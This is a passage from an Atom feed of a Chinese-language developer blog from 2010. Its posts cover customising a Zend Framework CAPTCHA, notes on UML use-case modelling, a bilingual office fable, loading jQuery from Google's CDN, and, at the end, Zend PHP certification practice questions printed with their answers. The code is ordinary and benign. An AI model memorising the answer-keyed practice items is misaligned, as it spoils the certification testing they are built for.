Zend_Form_Element_Captcha(  &lt;br /&gt;&amp;nbsp; 'captcha', // This is the name of the input field  &lt;br /&gt;&amp;nbsp; array('label' =&amp;gt; 'Write the chars to the field',  &lt;br /&gt;&amp;nbsp;&amp;nbsp; 'captcha' =&amp;gt; array( // Here comes the magic...  &lt;br /&gt;&amp;nbsp;&amp;nbsp; // First the type...  &lt;br /&gt;&amp;nbsp;&amp;nbsp; 'captcha' =&amp;gt; 'Image',  &lt;br /&gt;&amp;nbsp;&amp;nbsp; // Length of the word...  &lt;br /&gt;&amp;nbsp;&amp;nbsp; 'wordLen' =&amp;gt; 4,  &lt;br /&gt;&amp;nbsp;&amp;nbsp; // Captcha timeout, 5 mins  &lt;br /&gt;&amp;nbsp;&amp;nbsp; 'timeout' =&amp;gt; 300,  &lt;br /&gt;&amp;nbsp;&amp;nbsp; // What font to use...  &lt;br /&gt;&amp;nbsp;&amp;nbsp; 'font' =&amp;gt; 'captcha/arial.ttf',&lt;br /&gt;&amp;nbsp;&amp;nbsp; // Where to put the image  &lt;br /&gt;&amp;nbsp;&amp;nbsp; 'imgDir' =&amp;gt; 'captcha/tmp/',  &lt;br /&gt;&amp;nbsp;&amp;nbsp; //&amp;lt;img src="?" &amp;gt; 的位置&lt;br /&gt;&amp;nbsp;&amp;nbsp; 'imgUrl' =&amp;gt; 'http://' . $this-&amp;gt;_request-&amp;gt;getHttpHost() . $this-&amp;gt;_request-&amp;gt;getBaseUrl() . '/captcha/tmp/'&lt;br /&gt;&amp;nbsp;&amp;nbsp; )&lt;br /&gt;&amp;nbsp; )&lt;br /&gt;);  &lt;/code&gt;&lt;/li&gt;&lt;li&gt;自定背景&lt;br /&gt;ex.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_tTSUnirsVco/TOTcFcM78bI/AAAAAAAAFP8/O-0VjKJgKGI/s1600/new+captcha.PNG" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_tTSUnirsVco/TOTcFcM78bI/AAAAAAAAFP8/O-0VjKJgKGI/s1600/new+captcha.PNG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;注意事項&lt;br /&gt;由於預設會將底色用白，所以直接改圖沒用&lt;br /&gt;到/library/Zend/Captcha/Image.php改程式碼&lt;br /&gt;p.s. 因為機車johnny又在唸不喜歡彎彎的字及干擾的點及線，因此順便把扭曲的程式碼拿掉了&lt;br /&gt;&lt;br /&gt;不要點及線只要在建構子下...&lt;br /&gt;&lt;code&gt; $captcha = new Zend_Form_Element_Captcha(&lt;br /&gt;             'captcha', // This is the name of the input field&lt;br /&gt;             array(&lt;br /&gt;              ...&lt;br /&gt;               'lineNoiseLevel' =&gt; 0,&lt;br /&gt;               'dotNoiseLevel' =&gt; 0,&lt;br /&gt;               ...&lt;br /&gt;             )&lt;br /&gt;            )&lt;br /&gt;          );&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;如果不要扭曲的字型，那就把_generateImage方法的內容改成以下程式碼 &lt;br /&gt;&lt;code&gt;protected function _generateImage($id, $word)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp; if (!extension_loaded("gd")) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; require_once 'Zend/Captcha/Exception.php';&lt;br /&gt;&amp;nbsp;&amp;nbsp; throw new Zend_Captcha_Exception("Image CAPTCHA requires GD extension");&lt;br /&gt;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp; if (!function_exists("imagepng")) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; require_once 'Zend/Captcha/Exception.php';&lt;br /&gt;&amp;nbsp;&amp;nbsp; throw new Zend_Captcha_Exception("Image CAPTCHA requires PNG support");&lt;br /&gt;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp; if (!function_exists("imageftbbox")) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; require_once 'Zend/Captcha/Exception.php';&lt;br /&gt;&amp;nbsp;&amp;nbsp; throw new Zend_Captcha_Exception("Image CAPTCHA requires FT fonts support");&lt;br /&gt;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp; $font = $this-&amp;gt;getFont();&lt;br /&gt;&lt;br /&gt;&amp;nbsp; if (empty($font)) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; require_once 'Zend/Captcha/Exception.php';&lt;br /&gt;&amp;nbsp;&amp;nbsp; throw new Zend_Captcha_Exception("Image CAPTCHA requires font");&lt;br /&gt;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp; $w     = $this-&amp;gt;getWidth();&lt;br /&gt;&amp;nbsp; $h     = $this-&amp;gt;getHeight();&lt;br /&gt;&amp;nbsp; $fsize = $this-&amp;gt;getFontSize();&lt;br /&gt;&lt;br /&gt;&amp;nbsp; $img_file   = $this-&amp;gt;getImgDir() . $id . $this-&amp;gt;getSuffix();&lt;br /&gt;&amp;nbsp; if(empty($this-&amp;gt;_startImage)) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; $img        = imagecreatetruecolor($w, $h);&lt;br /&gt;&amp;nbsp; } else {&lt;br /&gt;&amp;nbsp;&amp;nbsp; $img = imagecreatefrompng($this-&amp;gt;_startImage);&lt;br /&gt;&amp;nbsp;&amp;nbsp; if(!$img) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; require_once 'Zend/Captcha/Exception.php';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; throw new Zend_Captcha_Exception("Can not load start image");&lt;br /&gt;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp; $w = imagesx($img);&lt;br /&gt;&amp;nbsp;&amp;nbsp; $h = imagesy($img);&lt;br /&gt;&amp;nbsp; }&lt;br /&gt;&amp;nbsp; $text_color = imagecolorallocate($img, 255, 255, 255);&lt;br /&gt;&amp;nbsp; &lt;span style="background-color: white; color: #6aa84f;"&gt;//$bg_color   = imagecolorallocate($img, 255, 255, 255);&lt;/span&gt;&lt;br style="background-color: white; color: #6aa84f;" /&gt;&lt;span style="background-color: white;"&gt;&lt;span style="color: #6aa84f;"&gt;&amp;nbsp;         //imagefilledrectangle($img, 0, 0, $w-1, $h-1, $bg_color);&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;&amp;nbsp; $textbox = imageftbbox($fsize, 0, $font, $word);&lt;br /&gt;&amp;nbsp; $x = ($w - ($textbox[2] - $textbox[0])) / 2;&lt;br /&gt;&amp;nbsp; $y = ($h - ($textbox[7] - $textbox[1])) / 2;&lt;br /&gt;&amp;nbsp; imagefttext($img, $fsize, 0, $x, $y, $text_color, $font, $word);&lt;br /&gt;&amp;nbsp; imagepng($img, $img_file);&lt;br /&gt;}&lt;/code&gt;&lt;/li&gt;&lt;li&gt;自定captcha版面格式&lt;br /&gt;很機車的johnny不喜歡預設拆成兩行的樣子，硬要我併成一行&lt;br /&gt;只好硬著頭皮又去改原碼了&lt;br /&gt;有2個地方要改&lt;br /&gt;1.到fucntion render()&lt;br /&gt;&lt;code&gt;public function render(Zend_View_Interface $view = null, $element = null)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp; return '&amp;lt;img alt="'.$this-&amp;gt;getImgAlt().'" height="'.$this-&amp;gt;getHeight().'" src="' . $this-&amp;gt;getImgUrl() . $this-&amp;gt;getId() . $this-&amp;gt;getSuffix() . '" width="'.$this-&amp;gt;getWidth().'" /&amp;gt;&lt;span style="color: red;"&gt;&amp;lt;br&amp;gt;&lt;/span&gt;'; &lt;span style="color: #6aa84f;"&gt;//將br拿掉&lt;/span&gt;&lt;br /&gt;}&lt;/code&gt;&lt;br /&gt;另外如果還要拿掉dt,dd等，則需要下個步驟&lt;br /&gt;&lt;br /&gt;2.到library/form/Element/Zend_Form_Element_Captcha.php 改function loadDefaultDecorators()&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;References&lt;br /&gt;&lt;a href="http://framework.zend.com/manual/en/zend.captcha.operation.html"&gt;Zend Reference Guide - Captcha Operation&lt;/a&gt;&lt;br /&gt;&lt;a href="http://robertbasic.com/blog/a-zend-captcha-example/"&gt;A Zend_Captcha example&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.zfforums.com/zend-framework-general-discussions-1/general-q-zend-framework-2/captcha-problem-2085.html"&gt;Captcha problem &lt;/a&gt;&lt;br /&gt;Zend_Form_Element_Captcha&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-7789606917657180857?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/7789606917657180857/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=7789606917657180857' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/7789606917657180857'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/7789606917657180857'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2010/11/zend-captcha.html' title='Zend Captcha'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_tTSUnirsVco/TOOWYuLE-OI/AAAAAAAAFP0/6vdvGGqSn8g/s72-c/ascii+captcha.bmp' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-9192559447329629665</id><published>2010-11-14T21:15:00.001+08:00</published><updated>2010-12-03T21:42:52.010+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='UML'/><title type='text'>系統分析設計與實作 Week 2 - Modeling By UML 三劍客</title><content type='html'>&lt;b&gt;Modeling By UML 三劍客&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Use Case Diagram&lt;br /&gt;由SA畫出使用者需求&lt;/li&gt;&lt;li&gt;Class Diagram&lt;br /&gt;由SD畫出結構圖&lt;/li&gt;&lt;li&gt;物件合作圖&lt;br /&gt;方便Programmer實作&lt;/li&gt;&lt;/ul&gt;各代表不同view, 三大構面：需求、結構、實作&lt;br /&gt;&lt;br /&gt;問題：已經足夠?&lt;br /&gt;視專業，原則上已經符合大部份需求，最好還有table schema&lt;br /&gt;&lt;br /&gt;系統是提供服務(API), 畫面(介面)及DB都不是系統&lt;br /&gt;&lt;br /&gt;過去常用畫面捕抓需求&lt;br /&gt;直覺，但不易找出user使用的目的，因為太多操縱細節，最常抓「欄位」、「企業規則」，但一開始其實不需要(先過濾細節)，且使用者常不知自己所需，因此SA要能抓出「目的」(使用者使用系統的目的)&lt;br /&gt;ex,付款時，要填「地址」(欄位，易變)，目的在付款時，提供滿足需求的服務，但跟end user溝通，仍是一個溝通工具 &lt;br /&gt;&lt;br /&gt;前導工作&lt;br /&gt;-訪談、會議記錄、畫面、錄音 以導出use case&lt;br /&gt;&lt;br /&gt;use case model&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Use Case Diagram =&amp;gt; 聚焦在what, 而非how-to&lt;br /&gt;買咖啡及點餐各為一個use case,但結帳不是，因結帳非目的，而是點餐後的一項&lt;/li&gt;&lt;li&gt;Use Case Description 細節、互動&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;4.1 Web ATM&lt;br /&gt;晶片金融卡視為一外部系統&lt;br /&gt;因為密碼及交易計錄(約10筆)會存在金融卡，而金融卡會提供存取的API，因此算系統&lt;br /&gt;&lt;br /&gt;寫好Use Case的好處&lt;br /&gt;&lt;ul&gt;&lt;li&gt;好維護&lt;/li&gt;&lt;li&gt;保持開發節奏順暢&lt;/li&gt;&lt;/ul&gt;*重覆的use case如何處理？&lt;br /&gt;先當獨立，事後再依refactoring評估是否相關，再進行合併&lt;br /&gt;&lt;br /&gt;2.3.1 系統範圍&lt;br /&gt;抓價值高的=&gt;交易&lt;br /&gt;而非價值低的維護欄位&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-9192559447329629665?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/9192559447329629665/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=9192559447329629665' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/9192559447329629665'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/9192559447329629665'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2010/11/week-2-modeling-by-uml.html' title='系統分析設計與實作 Week 2 - Modeling By UML 三劍客'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-4776439069374191605</id><published>2010-11-12T09:18:00.000+08:00</published><updated>2010-11-12T09:18:46.615+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='學習'/><title type='text'>轉：螞蟻的故事</title><content type='html'>rob傳來的...還加了一句話「一開始是三隻小螞蟻」&lt;br /&gt;還沒看內容時，還想不懂他在說什麼&lt;br /&gt;看完內容就覺得似曾相識的樣子...&lt;br /&gt;&lt;br /&gt;留下來，提醒自己&lt;br /&gt;還可以學一下動物的英文...&lt;br /&gt;&lt;object width="480" height="385"&gt;&lt;param name="movie" value="http://www.youtube.com/v/M6LJSzDNSm8?fs=1&amp;amp;hl=zh_TW"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/M6LJSzDNSm8?fs=1&amp;amp;hl=zh_TW" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Every day, a small ant arrives at work very early and starts work immediately.&lt;br /&gt;每天，小螞蟻很早來上工，並且一來就開始做事。&lt;br /&gt;She produces a lot was happy.&lt;br /&gt;她的生產力很高，並且工作愉快。&lt;br /&gt;&lt;br /&gt;The Chief, a lion,&lt;br /&gt;was surprised to see that the ant was working without supervision.&lt;br /&gt;身為老闆的獅子，非常驚奇螞蟻能自行工作而不須監督。&lt;br /&gt;&lt;br /&gt;He thought if the ant can produce so much without supervision, wouldn’t she produce even more if she had a supervisor!&lt;br /&gt;他認為在沒有監督下的螞蟻生產力是如此的好，如果有人監督的話她的生產力應該會更好才對!&lt;br /&gt;&lt;br /&gt;So he recruited a cockroach&lt;br /&gt;who had extensive experience as supervisor and who was famous for writing excellent reports.&lt;br /&gt;因此他招募了有豐富經驗的蟑螂作為監督員，蟑螂以擅長撰寫優良報告而聞名。&lt;br /&gt;&lt;br /&gt;The cockroach’s first decision was to set up a clocking in attendance system.&lt;br /&gt;蟑螂的第一個決定是設立了打卡計時系統。&lt;br /&gt;&lt;br /&gt;He also needed a secretary to help him write and type his reports and …&lt;br /&gt;他也需要一個秘書幫助他繕寫和鍵入報告和……&lt;br /&gt;&lt;br /&gt;... he recruited a spider, who managed the archives and monitored all phone calls.&lt;br /&gt;他招募了蜘蛛，負責管理檔案和監管所有電話。&lt;br /&gt;&lt;br /&gt;The lion was delighted with the cockroach's reports&lt;br /&gt;and asked him to produce graphs to describe production rates and to analyse trends, so that he could use them for presentations at Board‘s meetings.&lt;br /&gt;獅子對蟑螂的報告非常高興並要求他用圖表描述生產率和分析趨勢變化，因而他能在董事會上用這些資料來報告。&lt;br /&gt;&lt;br /&gt;So the cockroach had to buy a new computer and a laser printer and ...&lt;br /&gt;因此蟑螂必須買一臺新的電腦和雷射印表機和…&lt;br /&gt;&lt;br /&gt;... recruited a fly&lt;br /&gt;to manage the IT department.&lt;br /&gt;.. 並招募蒼蠅來管理資訊部門。&lt;br /&gt;&lt;br /&gt;The ant, who had once been so productive and relaxed, hated this new plethora of paperwork and meetings which used up most of her time…!&lt;br /&gt;曾經是很有生產力和輕鬆的螞蟻，恨透了這些耗盡她大多數時間的過多文書作業和會議…!&lt;br /&gt;&lt;br /&gt;The lion came to the conclusion that it was high time to nominate a person in charge of the department where the ant worked.&lt;br /&gt;獅子做出結論這是提名螞蟻工作部門負責人的時候了。&lt;br /&gt;&lt;br /&gt;The position was given to the cicada, whose first decision was to buy a carpet and an ergonomic chair for his office.&lt;br /&gt;這個位置被賦予給了蟬，蟬的第一個決定是為他的辦公室買一張地毯和一把符合人體工學的椅子。&lt;br /&gt;&lt;br /&gt;The new person in charge, the cicada, also needed a computer and a personal assistant, who he brought from his previous department, to help him prepare a Work and Budget Control Strategic Optimisation Plan …&lt;br /&gt;新的人負責，蟬，也需要一部電腦和一位從他原先部門帶來的個人助理，來幫助他準備工作和預算控制策略優化計劃…&lt;br /&gt;&lt;br /&gt;The Department where the ant works is now a sad place, where nobody laughs anymore and everybody has become upset...&lt;br /&gt;螞蟻工作的部門現在是一個哀傷的地方，不再有人會笑，而且大家變得抓狂…&lt;br /&gt;&lt;br /&gt;It was at that time that the cicada convinced the boss , the lion, of the absolute necessity to start a climatic study of the environment .&lt;br /&gt;就是那時蟬說服獅子上司，強調要開始進行組織氣候調查的绝對必要性。&lt;br /&gt;&lt;br /&gt;Having reviewed the charges for running the ant’s department , the lion found out that the production was much less than before.&lt;br /&gt;在審查了螞蟻的部門運作費用後，獅子發現生產力比以前大幅減少。&lt;br /&gt;&lt;br /&gt;So he recruited the owl , a prestigious and renowned consultant to carry out an audit and suggest solutions.&lt;br /&gt;所以他招募了貓頭鷹，一位有名望和顯耀的顧問來執行稽核工作並建議解決之道。&lt;br /&gt;&lt;br /&gt;The owl spent three months in the department and came up with an enormous report , in several volumes,&lt;br /&gt;that concluded :&lt;br /&gt;“ The department is overstaffed ...”&lt;br /&gt;貓頭鷹在部門待了三個月並且產生了一份有數冊之多的巨大的報告，結論是：「部門成員人數過多…」&lt;br /&gt;&lt;br /&gt;Guess who the lion fires first?&lt;br /&gt;猜猜獅子首先解雇誰？&lt;br /&gt;&lt;br /&gt;The ant , of course, because she&lt;br /&gt;“showed lack of motivation and had a negative attitude".&lt;br /&gt;當然，是螞蟻，因為她「顯現出缺乏做事的動機並且態度消極」。&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The characters in this fable are fictitious; any resemblance to real people or facts within the Corporation is pure coincidence…&lt;br /&gt;這個寓言裡的人物是虛擬的; 若與公司內部任何的人物或情事雷同係純屬巧合&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-4776439069374191605?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/4776439069374191605/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=4776439069374191605' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/4776439069374191605'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/4776439069374191605'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2010/11/blog-post_12.html' title='轉：螞蟻的故事'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-2367281500664210721</id><published>2010-11-11T11:12:00.005+08:00</published><updated>2011-09-01T13:52:44.851+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='jQuery'/><title type='text'>引用google libraries</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;ol style="text-align: left;"&gt;&lt;li&gt;&lt;a href="http://code.google.com/intl/zh-TW/apis/libraries/devguide.html"&gt;Google Libraries API - Developer's Guide&lt;/a&gt;&lt;br /&gt;還挺多的 &lt;br /&gt;&lt;dl&gt;&lt;dt&gt;&lt;br /&gt;&lt;a href="http://code.google.com/intl/zh-TW/apis/libraries/devguide.html#Libraries"&gt;Available Libraries&lt;/a&gt;&lt;br /&gt;&lt;/dt&gt;&lt;dd&gt;&lt;a href="http://code.google.com/intl/zh-TW/apis/libraries/devguide.html#chrome-frame"&gt;Chrome Frame&lt;/a&gt;             &lt;/dd&gt;             &lt;dd&gt;&lt;a href="http://code.google.com/intl/zh-TW/apis/libraries/devguide.html#dojo"&gt;Dojo&lt;/a&gt;             &lt;/dd&gt;             &lt;dd&gt;&lt;a href="http://code.google.com/intl/zh-TW/apis/libraries/devguide.html#ext-core"&gt;Ext Core&lt;/a&gt;             &lt;/dd&gt;             &lt;dd&gt;&lt;a href="http://code.google.com/intl/zh-TW/apis/libraries/devguide.html#jquery"&gt;jQuery&lt;/a&gt;             &lt;/dd&gt;             &lt;dd&gt;&lt;a href="http://code.google.com/intl/zh-TW/apis/libraries/devguide.html#jqueryUI"&gt;jQuery UI&lt;/a&gt;             &lt;/dd&gt;             &lt;dd&gt;&lt;a href="http://code.google.com/intl/zh-TW/apis/libraries/devguide.html#mootools"&gt;MooTools&lt;/a&gt;             &lt;/dd&gt;             &lt;dd&gt;&lt;a href="http://code.google.com/intl/zh-TW/apis/libraries/devguide.html#prototype"&gt;Prototype&lt;/a&gt;             &lt;/dd&gt;             &lt;dd&gt;&lt;a href="http://code.google.com/intl/zh-TW/apis/libraries/devguide.html#script_aculo_us"&gt;script_aculo_us&lt;/a&gt;             &lt;/dd&gt;             &lt;dd&gt;&lt;a href="http://code.google.com/intl/zh-TW/apis/libraries/devguide.html#swfobject"&gt;SWFObject&lt;/a&gt;             &lt;/dd&gt;             &lt;dd&gt;&lt;a href="http://code.google.com/intl/zh-TW/apis/libraries/devguide.html#yui"&gt;Yahoo! User Interface Library (YUI)&lt;/a&gt;             &lt;/dd&gt;             &lt;dd&gt;&lt;a href="http://code.google.com/intl/zh-TW/apis/libraries/devguide.html#webfont"&gt;WebFont Loader&lt;/a&gt;             &lt;/dd&gt;           &lt;/dl&gt;&lt;br /&gt;用法也很簡單，像jquery就先到該文件下找"path"，再放入src就好啦&lt;br /&gt;&lt;code&gt;&amp;lt;!-- jquery  --&amp;gt;&lt;br /&gt;&amp;lt;script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;!-- jquery ui --&amp;gt;&lt;br /&gt;&amp;lt;script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/jquery-ui.min.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://www.webdeveloper.com/forum/showthread.php?t=229890"&gt;dynamically load jquery if 'jQuery' does not exist&lt;/a&gt;&lt;br /&gt;&lt;code&gt;function initJQuery() {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;span style="color: #38761d;"&gt;//if the jQuery object isn't available&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; if (typeof(jQuery) == 'undefined') {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (typeof initJQuery.jQueryScriptOutputted == 'undefined') {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="background-color: white; color: #38761d;"&gt;//only output the script once..&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; initJQuery.jQueryScriptOutputted = true;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: #38761d;"&gt;//output the script (load it from google api)&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; document.write("&lt;scr" +="" ipt="" src="%5C%22http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js%5C%22" type="\&amp;quot;text/javascript\&amp;quot;"&gt;&lt;/scr"&gt;");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; setTimeout("initJQuery()", 50);&lt;br /&gt;&amp;nbsp;&amp;nbsp; } else {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (function($){ // CLOSURE -&amp;gt; save to use $&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $.fn.foo = function(input) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; alert("foo:" + input) ;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } ;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; })(jQuery) ;&lt;br /&gt;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; window.onload = function() {&lt;br /&gt;&amp;nbsp;&amp;nbsp; $('body').foo("bar") ; &lt;span style="color: #38761d;"&gt;// won't necessarily fire if jQuery loads after&amp;nbsp;&amp;nbsp; &lt;/span&gt;document load&lt;br /&gt;&amp;nbsp; }&lt;br /&gt;}&lt;br /&gt;initJQuery();&lt;/code&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-2367281500664210721?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/2367281500664210721/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=2367281500664210721' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/2367281500664210721'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/2367281500664210721'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2010/11/google-libraries.html' title='引用google libraries'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-6030257746937092863</id><published>2010-11-08T23:32:00.001+08:00</published><updated>2010-11-11T23:22:36.045+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>The Zend PHP Certification Practice Test Book</title><content type='html'>Ch1.PHP Programming Basics&lt;br /&gt;&lt;ul&gt;&lt;li&gt;PHP is a _____ scripting language based on the ____ engine. It is primarily used to&lt;br /&gt;develop dynamic _____ content, although it can be used to generate ____ documents&lt;br /&gt;(among others) as well.&lt;br /&gt;A.Dynamic, PHP, Database, HTML&lt;br /&gt;B.Embedded, Zend, HTML, XML&lt;br /&gt;C.Perl-based, PHP, Web, Static&lt;br /&gt;D.Embedded, Zend, Docbook, MySQL&lt;br /&gt;E.Zend-based, PHP, Image, HTML&lt;br /&gt;&lt;br /&gt;Result: B&lt;br /&gt;Looking at the answers, the only one that makes sense for every blank is B. PHP is a&lt;br /&gt;scripting language based on the Zend Engine that is usually embedded in HTML code. As&lt;br /&gt;such, it is primarily used to develop HTML documents, although it can be used just as nicely to develop other types of documents, such as XML.&lt;/li&gt;&lt;li&gt;16.Under what circumstance is it impossible to assign a default value to a parameter while declaring a function?&lt;br /&gt;A.When the parameter is Boolean&lt;br /&gt;B.When the function is being declared as a member of a class&lt;br /&gt;C.When the parameter is being declared as passed by reference&lt;br /&gt;D.When the function contains only one parameter&lt;br /&gt;E.Never&lt;br /&gt;&lt;br /&gt;Answer:&lt;br /&gt;When a parameter is declared as being passed by reference you cannot specify a default&lt;br /&gt;value for it, since the interpreter will expect a variable that can be modified from within the&lt;br /&gt;function itself. Therefore, Answer C is correct.&lt;/li&gt;&lt;li&gt;17.The ____ operator returns True if either of its 